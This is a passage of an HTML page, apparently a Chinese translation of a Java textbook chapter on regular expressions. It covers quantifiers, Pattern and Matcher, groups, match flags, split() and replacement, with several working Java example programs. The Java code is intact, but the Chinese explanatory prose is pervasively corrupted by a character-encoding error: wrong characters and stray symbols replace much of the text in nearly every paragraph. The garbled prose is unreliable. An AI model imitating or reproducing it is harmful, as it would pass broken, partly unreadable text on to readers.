<LI>Reluctant(勉强?Q?用问可C,它会匚w最的字符。也UCؓlazy, minimal matching, non-greedy, 或ungreedy? <LI>Possessive(占有?Q?目前只有Java支持(其它语言都不支持)。它更加先进Q所以你可能q不太会用。用正则表达式匹配字W串的时候会产生很多中间状态,<U>(一般的匚w引擎会保存这U中间状态,)</U>q样匚wp|的时候就能原路返回了。占有型的表辑ּ不保存这U中间状态,因此也就不会回头重来了。它能防止正则表辑ּ的失控,同时也能提高q行的效率?</LI></UL> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR vAlign=top> <TH><span id="wmqeeuq" class=original_words>Greedy</SPAN> </TH> <TH><span id="wmqeeuq" class=original_words>Reluctant</SPAN> </TH> <TH><span id="wmqeeuq" class=original_words>Possessive</SPAN> </TH> <TH>匚w </TH></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X?</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X??</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X?+</SPAN> </TD> <TD vAlign=top width=231>匚w一个或零个<span id="wmqeeuq" class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X*</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X*?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X*+</SPAN> </TD> <TD vAlign=top width=231>匚w零或多个<span id="wmqeeuq" class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X+</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X+?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X++</SPAN> </TD> <TD vAlign=top width=231>匚w一个或多个<span id="wmqeeuq" class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X{n}</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X{n}?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X{n}+</SPAN> </TD> <TD vAlign=top width=231>匚w正好n?SPAN class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X{n,}</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X{n,}?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X{n,}+</SPAN> </TD> <TD vAlign=top width=231>匚w臛_n?SPAN class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X{n,m}</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X{n,m}?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X{n,m}+</SPAN> </TD> <TD vAlign=top width=231>匚w臛_n个,臛_m?SPAN class=original_words>X</SPAN> </TD></TR></TBODY></TABLE> <P>再提醒一下,要想让表辑ּ照你的意思去q行Q你应该用括h'X'括v来。比方说Q?/P> <BLOCKQUOTE><PRE>abc+</PRE></BLOCKQUOTE> <P>gq个表达式能匚w一个或若干?abc'Q但是如果你真的用它d?abcabcabc'的话Q实际上只会扑ֈ三个字符。因个表辑ּ的意思是'ab'后边跟着一个或多个'c'。要惛_配一个或多个完整?abc'Q你应该q样Q?/P> <BLOCKQUOTE><PRE>(abc)+</PRE></BLOCKQUOTE> <P>正则表达式能轻而易丑֜把你l耍了Q这是一U徏立在<span id="wmqeeuq" class=original_words>Java</SPAN>之上的新语言?/P> <H4 id=header58>CharSequence</H4> <P>JDK 1.4定义了一个新的接口,?SPAN class=original_words>CharSequence</SPAN>。它提供?SPAN class=original_words>String</SPAN>?SPAN class=original_words>StringBuffer</SPAN>q两个类的字W序列的抽象Q?/P> <BLOCKQUOTE><PRE><FONT color=#0000ff>interface</FONT> CharSequence { charAt(<FONT color=#0000ff>int</FONT> i); length(); subSequence(<FONT color=#0000ff>int</FONT> start, <FONT color=#0000ff>int</FONT> end); toString(); }</PRE></BLOCKQUOTE> <P>Z实现q个新的<span id="wmqeeuq" class=original_words>CharSequence</SPAN>接口Q?SPAN class=original_words>String</SPAN>Q?SPAN class=original_words>StringBuffer</SPAN>以及<span id="wmqeeuq" class=original_words>CharBuffer</SPAN>都作了修攏V很多正则表辑ּ的操作都要拿<span id="wmqeeuq" class=original_words>CharSequence</SPAN>作参数?/P> <H3 id=header59><span id="wmqeeuq" class=original_words>Pattern</SPAN>?SPAN class=original_words>Matcher</SPAN></H3> <P>先给一个例子。下面这D늨序可以测试正则表辑ּ是否匚w字符丌Ӏ第一个参数是要匹配的字符Ԍ后面是正则表辑ּ。正则表辑ּ可以有多个。在Unix/Linux环境下,命o行下的正则表辑ּq必ȝ引号?/P> <P>当你创徏正则表达式时Q可以用q个E序来判断它是不是会按照你的要求工作?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:TestRegularExpression.java</FONT> <FONT color=#009900>// Allows you to easly try out regular expressions.</FONT> <FONT color=#009900>// {Args: abcabcabcdefabc "abc+" "(abc)+" "(abc){2,}" }</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> TestRegularExpression { <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { <FONT color=#0000ff>if</FONT>(args.length < 2) { System.out.println(<FONT color=#004488>"Usage:\n"</FONT> + <FONT color=#004488>"java TestRegularExpression "</FONT> + <FONT color=#004488>"characterSequence regularExpression+"</FONT>); System.exit(0); } System.out.println(<FONT color=#004488>"Input: \"</FONT><FONT color=#004488>" + args[0] + "</FONT>\<FONT color=#004488>""</FONT>); <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> i = 1; i < args.length; i++) { System.out.println( <FONT color=#004488>"Regular expression: \"</FONT><FONT color=#004488>" + args[i] + "</FONT>\<FONT color=#004488>""</FONT>); Pattern p = Pattern.compile(args[i]); Matcher m = p.matcher(args[0]); <FONT color=#0000ff>while</FONT>(m.find()) { System.out.println(<FONT color=#004488>"Match \"</FONT>" + m.group() + <FONT color=#004488>"\"</FONT> at positions " + m.start() + <FONT color=#004488>"-"</FONT> + (m.end() - 1)); } } } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P><span id="wmqeeuq" class=original_words>Java</SPAN>的正则表辑ּ是由<span id="wmqeeuq" class=original_words>java.util.regex</SPAN>?SPAN class=original_words>Pattern</SPAN>?SPAN class=original_words>Matcher</SPAN>cd现的?SPAN class=original_words>Pattern</SPAN>对象表示l编译的正则表达式。静态的<span id="wmqeeuq" class=original_words>compile( )</SPAN>Ҏ(gu)负责表C正则表辑ּ的字W串~译?SPAN class=original_words>Pattern</SPAN>对象。正如上qCE所C的Q只要给<span id="wmqeeuq" class=original_words>Pattern</SPAN>?SPAN class=original_words>matcher( )</SPAN>Ҏ(gu)送一个字W串p获取一?SPAN class=original_words>Matcher</SPAN>对象。此外,<span id="wmqeeuq" class=original_words>Pattern</SPAN>q有一个能快速判断能否在<span id="wmqeeuq" class=original_words>input</SPAN>里面扑ֈ<span id="wmqeeuq" class=original_words>regex</SPAN>?注意Q原文有误,漏了Ҏ(gu)?</P> <BLOCKQUOTE><PRE><FONT color=#0000ff>static</FONT> <FONT color=#0000ff>boolean</FONT> matches( regex,  input)</PRE></BLOCKQUOTE> <P>以及能返?SPAN class=original_words>String</SPAN>数组?SPAN class=original_words>split( )</SPAN>Ҏ(gu)Q它能用<span id="wmqeeuq" class=original_words>regex</SPAN>把字W串分割开来?/P> <P>只要l?SPAN class=original_words>Pattern.matcher( )</SPAN>Ҏ(gu)传一个字W串p获得<span id="wmqeeuq" class=original_words>Matcher</SPAN>对象了。接下来p?SPAN class=original_words>Matcher</SPAN>的方法来查询匚w的结果了?/P> <BLOCKQUOTE><PRE><FONT color=#0000ff>boolean</FONT> matches() <FONT color=#0000ff>boolean</FONT> lookingAt() <FONT color=#0000ff>boolean</FONT> find() <FONT color=#0000ff>boolean</FONT> find(<FONT color=#0000ff>int</FONT> start)</PRE></BLOCKQUOTE> <P><span id="wmqeeuq" class=original_words>matches( )</SPAN>的前提是<span id="wmqeeuq" class=original_words>Pattern</SPAN>匚w整个字符Ԍ?SPAN class=original_words>lookingAt( )</SPAN>的意思是<span id="wmqeeuq" class=original_words>Pattern</SPAN>匚w字符串的开头?</P> <H4 id=header60>find( )</H4> <P><span id="wmqeeuq" class=original_words>Matcher.find( )</SPAN>的功能是发现<span id="wmqeeuq" class=original_words>CharSequence</SPAN>里的Q与pattern相匹配的多个字符序列。例如:</P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:FindDemo.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> FindDemo { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { Matcher m = Pattern.compile(<FONT color=#004488>"\\w+"</FONT>) .matcher(<FONT color=#004488>"Evening is full of the linnet's wings"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); <FONT color=#0000ff>int</FONT> i = 0; <FONT color=#0000ff>while</FONT>(m.find(i)) { System.out.print(m.group() + <FONT color=#004488>" "</FONT>); i++; } monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"Evening"</FONT>, <FONT color=#004488>"is"</FONT>, <FONT color=#004488>"full"</FONT>, <FONT color=#004488>"of"</FONT>, <FONT color=#004488>"the"</FONT>, <FONT color=#004488>"linnet"</FONT>, <FONT color=#004488>"s"</FONT>, <FONT color=#004488>"wings"</FONT>, <FONT color=#004488>"Evening vening ening ning ing ng g is is s full "</FONT> + <FONT color=#004488>"full ull ll l of of f the the he e linnet linnet "</FONT> + <FONT color=#004488>"innet nnet net et t s s wings wings ings ngs gs s "</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>"<span id="wmqeeuq" class=original_words>\\w+</SPAN>"的意思是"一个或多个单词字符"Q因此它会将字符串直接分解成单词?SPAN class=original_words>find( )</SPAN>像一个P代器Q从头到扫描一遍字W串。第二个<span id="wmqeeuq" class=original_words>find( )</SPAN>是带<span id="wmqeeuq" class=original_words>int</SPAN>参数的,正如你所看到的,它会告诉Ҏ(gu)从哪里开始找——即从参C|开始查找?/P> <H4 id=header61>Groups</H4> <P>Group是指里用括号括v来的Q能被后面的表达式调用的正则表达式。Group 0 表示整个表达式,group 1表示W一个被括v来的groupQ以此类推。所以;</P> <BLOCKQUOTE><PRE>A(B(C))D</PRE></BLOCKQUOTE> <P>里面有三个groupQgroup 0?SPAN class=original_words>ABCD</SPAN>Q?group 1?SPAN class=original_words>BC</SPAN>Qgroup 2?SPAN class=original_words>C</SPAN>?/P> <P>你可以用下述<span id="wmqeeuq" class=original_words>Matcher</SPAN>Ҏ(gu)来用groupQ?/P> <P><span id="wmqeeuq" class=original_words>public int groupCount( )</SPAN>q回matcher对象中的group的数目。不包括group0?/P> <P><span id="wmqeeuq" class=original_words>public String group( ) </SPAN>q回上次匚w操作(比方?SPAN class=original_words>find( )</SPAN>)的group 0(整个匚w)</P> <P><span id="wmqeeuq" class=original_words>public String group(int i)</SPAN>q回上次匚w操作的某个group。如果匹配成功,但是没能扑ֈgroupQ则q回null?/P> <P><span id="wmqeeuq" class=original_words>public int start(int group)</SPAN>q回上次匚w所扑ֈ的,group的开始位|?/P> <P><span id="wmqeeuq" class=original_words>public int end(int group)</SPAN>q回上次匚w所扑ֈ的,group的结束位|,最后一个字W的下标加一?/P> <P>下面我们举一些group的例子:</P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:Groups.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> Groups { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>final</FONT> String poem = <FONT color=#004488>"Twas brillig, and the slithy toves\n"</FONT> + <FONT color=#004488>"Did gyre and gimble in the wabe.\n"</FONT> + <FONT color=#004488>"All mimsy were the borogoves,\n"</FONT> + <FONT color=#004488>"And the mome raths outgrabe.\n\n"</FONT> + <FONT color=#004488>"Beware the Jabberwock, my son,\n"</FONT> + <FONT color=#004488>"The jaws that bite, the claws that catch.\n"</FONT> + <FONT color=#004488>"Beware the Jubjub bird, and shun\n"</FONT> + <FONT color=#004488>"The frumious Bandersnatch."</FONT>; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { Matcher m = Pattern.compile(<FONT color=#004488>"(?m)(\\S+)\\s+((\\S+)\\s+(\\S+))$"</FONT>) .matcher(poem); <FONT color=#0000ff>while</FONT>(m.find()) { <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> j = 0; j <= m.groupCount(); j++) System.out.print(<FONT color=#004488>"["</FONT> + m.group(j) + <FONT color=#004488>"]"</FONT>); System.out.println(); } monitor.expect(<FONT color=#0000ff>new</FONT> String[]{ <FONT color=#004488>"[the slithy toves]"</FONT> + <FONT color=#004488>"[the][slithy toves][slithy][toves]"</FONT>, <FONT color=#004488>"[in the wabe.][in][the wabe.][the][wabe.]"</FONT>, <FONT color=#004488>"[were the borogoves,]"</FONT> + <FONT color=#004488>"[were][the borogoves,][the][borogoves,]"</FONT>, <FONT color=#004488>"[mome raths outgrabe.]"</FONT> + <FONT color=#004488>"[mome][raths outgrabe.][raths][outgrabe.]"</FONT>, <FONT color=#004488>"[Jabberwock, my son,]"</FONT> + <FONT color=#004488>"[Jabberwock,][my son,][my][son,]"</FONT>, <FONT color=#004488>"[claws that catch.]"</FONT> + <FONT color=#004488>"[claws][that catch.][that][catch.]"</FONT>, <FONT color=#004488>"[bird, and shun][bird,][and shun][and][shun]"</FONT>, <FONT color=#004488>"[The frumious Bandersnatch.][The]"</FONT> + <FONT color=#004488>"[frumious Bandersnatch.][frumious][Bandersnatch.]"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>q首诗是<span id="wmqeeuq" class=original_words><CITE>Through the Looking Glass</CITE></SPAN>的,Lewis Carroll?Jabberwocky"的第一部分。可以看到这个正则表辑ּ里有很多用括hh的groupQ它是由L多个q箋的非I字W?'<span id="wmqeeuq" class=original_words>\S+</SPAN>')和Q意多个连l的I格字符('<span id="wmqeeuq" class=original_words>\s+</SPAN>')所l成的,其最l目的是要捕h行的最后三个单词;'<span id="wmqeeuq" class=original_words>$</SPAN>'表示一行的l尾。但?<span id="wmqeeuq" class=original_words>$</SPAN>'通常表示整个字符串的l尾Q所以这里要明确地告诉正则表辑ּ注意换行W。这一Ҏ(gu)?<span id="wmqeeuq" class=original_words>(?m)</SPAN>'标志完成?模式标志会过一会讲??/P> <H4 id=header62>start( )和end( )</H4> <P>如果匚w成功Q?SPAN class=original_words>start( )</SPAN>会返回此ơ匹配的开始位|,<span id="wmqeeuq" class=original_words>end( )</SPAN>会返回此ơ匹配的l束位置Q即最后一个字W的下标加一。如果之前的匚w不成?或者没匚w)Q那么无论是调用<span id="wmqeeuq" class=original_words>start( )</SPAN>q是<span id="wmqeeuq" class=original_words>end( )</SPAN>Q都会引发一?SPAN class=original_words>IllegalStateException</SPAN>。下面这D늨序还演示?SPAN class=original_words>matches( )</SPAN>?SPAN class=original_words>lookingAt( )</SPAN>Q?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:StartEnd.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> StartEnd { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { String[] input = <FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"Java has regular expressions in 1.4"</FONT>, <FONT color=#004488>"regular expressions now expressing in Java"</FONT>, <FONT color=#004488>"Java represses oracular expressions"</FONT> }; Pattern p1 = Pattern.compile(<FONT color=#004488>"re\\w*"</FONT>), p2 = Pattern.compile(<FONT color=#004488>"Java.*"</FONT>); <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> i = 0; i < input.length; i++) { System.out.println(<FONT color=#004488>"input "</FONT> + i + <FONT color=#004488>": "</FONT> + input[i]); Matcher m1 = p1.matcher(input[i]), m2 = p2.matcher(input[i]); <FONT color=#0000ff>while</FONT>(m1.find()) System.out.println(<FONT color=#004488>"m1.find() '"</FONT> + m1.group() + <FONT color=#004488>"' start = "</FONT>+ m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end()); <FONT color=#0000ff>while</FONT>(m2.find()) System.out.println(<FONT color=#004488>"m2.find() '"</FONT> + m2.group() + <FONT color=#004488>"' start = "</FONT>+ m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end()); <FONT color=#0000ff>if</FONT>(m1.lookingAt()) <FONT color=#009900>// No reset() necessary</FONT> System.out.println(<FONT color=#004488>"m1.lookingAt() start = "</FONT> + m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end()); <FONT color=#0000ff>if</FONT>(m2.lookingAt()) System.out.println(<FONT color=#004488>"m2.lookingAt() start = "</FONT> + m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end()); <FONT color=#0000ff>if</FONT>(m1.matches()) <FONT color=#009900>// No reset() necessary</FONT> System.out.println(<FONT color=#004488>"m1.matches() start = "</FONT> + m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end()); <FONT color=#0000ff>if</FONT>(m2.matches()) System.out.println(<FONT color=#004488>"m2.matches() start = "</FONT> + m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end()); } monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"input 0: Java has regular expressions in 1.4"</FONT>, <FONT color=#004488>"m1.find() 'regular' start = 9 end = 16"</FONT>, <FONT color=#004488>"m1.find() 'ressions' start = 20 end = 28"</FONT>, <FONT color=#004488>"m2.find() 'Java has regular expressions in 1.4'"</FONT> + <FONT color=#004488>" start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.lookingAt() start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.matches() start = 0 end = 35"</FONT>, <FONT color=#004488>"input 1: regular expressions now "</FONT> + <FONT color=#004488>"expressing in Java"</FONT>, <FONT color=#004488>"m1.find() 'regular' start = 0 end = 7"</FONT>, <FONT color=#004488>"m1.find() 'ressions' start = 11 end = 19"</FONT>, <FONT color=#004488>"m1.find() 'ressing' start = 27 end = 34"</FONT>, <FONT color=#004488>"m2.find() 'Java' start = 38 end = 42"</FONT>, <FONT color=#004488>"m1.lookingAt() start = 0 end = 7"</FONT>, <FONT color=#004488>"input 2: Java represses oracular expressions"</FONT>, <FONT color=#004488>"m1.find() 'represses' start = 5 end = 14"</FONT>, <FONT color=#004488>"m1.find() 'ressions' start = 27 end = 35"</FONT>, <FONT color=#004488>"m2.find() 'Java represses oracular expressions' "</FONT> + <FONT color=#004488>"start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.lookingAt() start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.matches() start = 0 end = 35"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>注意Q只要字W串里有q个模式Q?SPAN class=original_words>find( )</SPAN>p把它l找出来Q但?SPAN class=original_words>lookingAt( )</SPAN>?SPAN class=original_words>matches( )</SPAN>Q只有在字符串与正则表达式一开始就相匹配的情况下才能返?SPAN class=original_words>true</SPAN>?SPAN class=original_words>matches( )</SPAN>成功的前提是正则表达式与字符串完全匹配,?SPAN class=original_words>lookingAt( )</SPAN><A id=ref67 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment67"><SUP>[67]</SUP></A>成功的前提是Q字W串的开始部分与正则表达式相匚w?/P> <H4 id=header63>匚w的模?Pattern flags)</H4> <P><span id="wmqeeuq" class=original_words>compile( )</SPAN>Ҏ(gu)q有一个版本,它需要一个控制正则表辑ּ的匹配行为的参数Q?/P> <BLOCKQUOTE><PRE>Pattern Pattern.compile(String regex, <FONT color=#0000ff>int</FONT> flag)</PRE></BLOCKQUOTE><span id="wmqeeuq" class=original_words>flag</SPAN>的取D围如下: <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR> <TH><span id="wmqeeuq" class=original_words>~译标志</SPAN> </TH> <TH><span id="wmqeeuq" class=original_words>效果</SPAN> </TH></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.CANON_EQ</SPAN> </TD> <TD>当且仅当两个字符?正规分解(canonical decomposition)"都完全相同的情况下,才认定匹配。比如用了这个标志之后,表达?a\u030A"会匹??"。默认情况下Q不考虑"规范相等?canonical equivalence)"?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.CASE_INSENSITIVE<BR>(?i)</SPAN> </TD> <TD>默认情况下,大小写不明感的匹配只适用于US-ASCII字符集。这个标志能让表辑ּ忽略大小写进行匹配。要惛_Unicode字符q行大小不明感的匚wQ只要将<span id="wmqeeuq" class=original_words>UNICODE_CASE</SPAN>与这个标志合hp了?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.COMMENTS<BR>(?x)</SPAN> </TD> <TD>在这U模式下Q匹配时会忽?正则表达式里?I格字符(译者注Q不是指表达式里?\\s"Q而是指表辑ּ里的I格QtabQ回车之c?。注释从#开始,一直到q行l束。可以通过嵌入式的标志来启用Unix行模式?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.DOTALL<BR>(?s)</SPAN> </TD> <TD>在这U模式下Q表辑ּ'.'可以匚wL字符Q包括表CZ行的l束W。默认情况下Q表辑ּ'.'不匹配行的结束符?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.MULTILINE<BR>(?m)</SPAN> </TD> <TD>在这U模式下Q?^'?$'分别匚w一行的开始和l束。此外,'^'仍然匚w字符串的开始,'$'也匹配字W串的结束。默认情况下Q这两个表达式仅仅匹配字W串的开始和l束?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.UNICODE_CASE<BR>(?u)</SPAN> </TD> <TD>在这个模式下Q如果你q启用了<span id="wmqeeuq" class=original_words>CASE_INSENSITIVE</SPAN>标志Q那么它会对Unicode字符q行大小写不明感的匹配。默认情况下Q大写不明感的匚w只适用于US-ASCII字符集?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.UNIX_LINES<BR>(?d)</SPAN> </TD> <TD>在这个模式下Q只?\n'才被认作一行的中止Qƈ且与'.'Q?^'Q以?$'q行匚w?</TD></TR></TBODY></TABLE> <P>在这些标志里面,<span id="wmqeeuq" class=original_words>Pattern.CASE_INSENSITIVE</SPAN>Q?SPAN class=original_words>Pattern.MULTILINE</SPAN>Q以?SPAN class=original_words>Pattern.COMMENTS</SPAN>是最有用?其中<span id="wmqeeuq" class=original_words>Pattern.COMMENTS</SPAN>q能帮我们把思\理清楚,q且/或者做文档)。注意,你可以用在表辑ּ里插记号的方式来启用l大多数的模式。这些记号就在上面那张表的各个标志的下面。你希望模式从哪里开始启动,在哪里插记受?/P> <P>可以?OR" ('|')q算W把q些标志合用:</P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:ReFlags.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> ReFlags { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { Pattern p = Pattern.compile(<FONT color=#004488>"^java"</FONT>, Pattern.CASE_INSENSITIVE | Pattern.MULTILINE); Matcher m = p.matcher( <FONT color=#004488>"java has regex\nJava has regex\n"</FONT> + <FONT color=#004488>"JAVA has pretty good regular expressions\n"</FONT> + <FONT color=#004488>"Regular expressions are in Java"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"java"</FONT>, <FONT color=#004488>"Java"</FONT>, <FONT color=#004488>"JAVA"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>q样创徏出来的正则表辑ּp匚w?java"Q?Java"Q?JAVA"...开头的字符串了。此外,如果字符串分好几行,那它q会Ҏ(gu)一行做匚w(匚w始于字符序列的开始,l于字符序列当中的行l束W?。注意,<span id="wmqeeuq" class=original_words>group( )</SPAN>Ҏ(gu)仅返回匹配的部分?/P> <H3 id=header64>split( )</H3> <P>所谓分割是指将以正则表辑ּ为界Q将字符串分割成<span id="wmqeeuq" class=original_words>String</SPAN>数组?/P> <BLOCKQUOTE><PRE>String[] split(CharSequence charseq) String[] split(CharSequence charseq, <FONT color=#0000ff>int</FONT> limit)</PRE></BLOCKQUOTE> <P>q是一U既快又方便地将文本Ҏ(gu)一些常见的边界标志分割开来的Ҏ(gu)?/P> <TABLE class=code> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:SplitDemo.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> SplitDemo { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { String input = <FONT color=#004488>"This!!unusual use!!of exclamation!!points"</FONT>; System.out.println(Arrays.asList( Pattern.compile(<FONT color=#004488>"!!"</FONT>).split(input))); <FONT color=#009900>// Only do the first three:</FONT> System.out.println(Arrays.asList( Pattern.compile(<FONT color=#004488>"!!"</FONT>).split(input, 3))); System.out.println(Arrays.asList( <FONT color=#004488>"Aha! String has a split() built in!"</FONT>.split(<FONT color=#004488>" "</FONT>))); monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"[This, unusual use, of exclamation, points]"</FONT>, <FONT color=#004488>"[This, unusual use, of exclamation!!points]"</FONT>, <FONT color=#004488>"[Aha!, String, has, a, split(), built, in!]"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>W二?SPAN class=original_words>split( )</SPAN>会限定分割的ơ数?/P> <P>正则表达式是如此重要Q以至于有些功能被加q了<span id="wmqeeuq" class=original_words>String</SPAN>c,其中包括<span id="wmqeeuq" class=original_words>split( )</SPAN>(已经看到?Q?SPAN class=original_words>matches( )</SPAN>Q?SPAN class=original_words>replaceFirst( )</SPAN>以及<span id="wmqeeuq" class=original_words>replaceAll( )</SPAN>。这些方法的功能?SPAN class=original_words>Pattern</SPAN>?SPAN class=original_words>Matcher</SPAN>的相同?</P> <H3 id=header65>替换操作</H3> <P>正则表达式在替换文本斚w特别在行。下面就是一些方法:</P> <P><span id="wmqeeuq" class=original_words>replaceFirst(String replacement)</SPAN>字W串里,W一个与模式相匹配的子串替换?SPAN class=original_words>replacement</SPAN>?</P> <P><span id="wmqeeuq" class=original_words>replaceAll(String replacement)</SPAN>Q将输入字符串里所有与模式相匹配的子串全部替换?SPAN class=original_words>replacement</SPAN>?/P> <P><span id="wmqeeuq" class=original_words>appendReplacement(StringBuffer sbuf, String replacement)</SPAN>?SPAN class=original_words>sbuf</SPAN>q行逐次替换Q而不是像<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>?SPAN class=original_words>replaceAll( )</SPAN>那样Q只替换W一个或全部子串。这是个非常重要的方法,因ؓ它可以调用方法来生成<span id="wmqeeuq" class=original_words>replacement</SPAN>(<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>?SPAN class=original_words>replaceAll( )</SPAN>只允许用固定的字W串来充?SPAN class=original_words>replacement</SPAN>)。有了这个方法,你就可以~程区分groupQ从而实现更强大的替换功能?/P> <P>调用?SPAN class=original_words>appendReplacement( )</SPAN>之后Qؓ了把剩余的字W串拯回去Q必调?SPAN class=original_words>appendTail(StringBuffer sbuf, String replacement)</SPAN>?</P> 